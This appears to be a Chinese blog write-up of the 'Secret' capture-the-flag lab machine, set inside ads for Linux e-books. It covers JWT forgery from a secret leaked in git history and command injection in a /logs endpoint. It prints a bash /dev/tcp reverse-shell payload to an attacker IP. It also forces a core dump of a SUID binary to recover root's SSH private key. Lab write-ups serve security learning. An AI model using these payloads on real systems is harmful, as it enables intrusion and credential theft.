Linux Secret

原创于 2024-05-15 16:09:56 发布

· 251 阅读

10 ·

版权

文章标签：

#运维 #linux #面试

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以点击这里获取！

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

在最下面可以下载源代码

将文件解压缩后打开，发现里面有.git目录，实际上这是一个git仓库，可以查看日志看看哪些内容做了改动

可以使用git log来查看日志，日志中有一行很有趣，提到了因为安全原因删除了.env

可以使用git show来查看当前提交与源代码之间的区别，可以看到一个TOKEN_SECRET的明文值，但是目前已经变成机密了

查看其他提交时发现引入了/logs，目的是让管理员查看服务器上的日志，它可能会造成命令执行，file变量作为参数传递给git log时，最终会传递给exec函数去执行，因为verifytoken的存在，所以需要身份认证才能做到这一点

查看网站源代码，在routes中有一个auth.js，在login部分，它介绍了如何为登陆成功的用户生成jwt token

利用代码中提到的三个参数，以及之前获取得到的TOKEN_SERCET，在jwt.io中创建一个jwt token

使用该jwt token请求logs，但是却报错了，刚才在网站查看时也发现很多接口都在/api下面，尝试添加/api，添加后没有报404，直接报了500

按照刚才代码中所写，在请求logs时需要有一个参数，尝试添加?file=id，可以看到响应中cmd参数的值发生了改变，应该是git log --oneline id这个指令exec不知道该如何处理，在id前添加;即可

将请求改为/api/logs?file=;id之后，发现响应正常，并且成功执行了指令

可以尝试执行反向shell

;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261'

Privilege Escalation

获取交互式shell

在/opt目录下，有一个count文件,该文件是一个SUID文件，这意味着无论谁执行这个文件，都会以其所有者的身份去运行，而count属于root

尝试执行该文件，提示需要输入文件名，所以输入了/root/root.txt，程序统计了文件中的字数，并且提示是否保存文件

code.c是程序来源，查看其他人的wp，并结合代码，可以尝试利用count二进制文件来读取ssh密钥，然后在文件处理程序被破坏前使程序崩溃，程序崩溃后，会在/var/crashes目录下创建一个core dump文件。所以，可以执行程序，然后让程序读取/root/.ssh/id_rsa密钥文件，在使用ctrl+z置于后台，发送对应信号，当重新把程序置于前台时，就会崩溃并创建转储文件

/opt/count
/root/.ssh/id_rsa
ctrl+z
kill -SIGSEGV `ps -e | grep -w "count"|awk -F ' ' '{print$1}'`
fg

按照上面的指令逐行执行

执行上述命令后，告知核心转储已创建，现在可以使用apport-unpack和strings来提取根ssh密钥

apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump


![](https://img-blog.csdnimg.cn/img_convert/9a8cb5f8c0ec69e6499adead0da6e95b.png)


最全的Linux教程，Linux从入门到精通

======================

1.  **linux从入门到精通(第2版)**

2.  **Linux系统移植**

3.  **Linux驱动开发入门与实战**

4.  **LINUX 系统移植 第2版**

5.  **Linux开源网络全栈详解 从DPDK到OpenFlow**



![华为18级工程师呕心沥血撰写3000页Linux学习笔记教程](https://img-blog.csdnimg.cn/img_convert/59742364bb1338737fe2d315a9e2ec54.png)



第一份《Linux从入门到精通》466页

====================

内容简介

====

本书是获得了很多读者好评的Linux经典畅销书**《Linux从入门到精通》的第2版**。本书第1版出版后曾经多次印刷，并被51CTO读书频道评为“最受读者喜爱的原创IT技术图书奖”。本书第﹖版以最新的Ubuntu 12.04为版本，循序渐进地向读者介绍了Linux 的基础应用、系统管理、网络应用、娱乐和办公、程序开发、服务器配置、系统安全等。本书附带1张光盘，内容为本书配套多媒体教学视频。另外,本书还为读者提供了大量的Linux学习资料和Ubuntu安装镜像文件，供读者免费下载。



![华为18级工程师呕心沥血撰写3000页Linux学习笔记教程](https://img-blog.csdnimg.cn/img_convert/9d4aefb6a92edea27b825e59aa1f2c54.png)



**本书适合广大Linux初中级用户、开源软件爱好者和大专院校的学生阅读，同时也非常适合准备从事Linux平台开发的各类人员。**

> 需要《Linux入门到精通》、《linux系统移植》、《Linux驱动开发入门实战》、《Linux开源网络全栈》电子书籍及教程的工程师朋友们劳烦您转发+评论




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友，可以点击这里获取！](https://bbs.youkuaiyun.com/topics/618635766)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**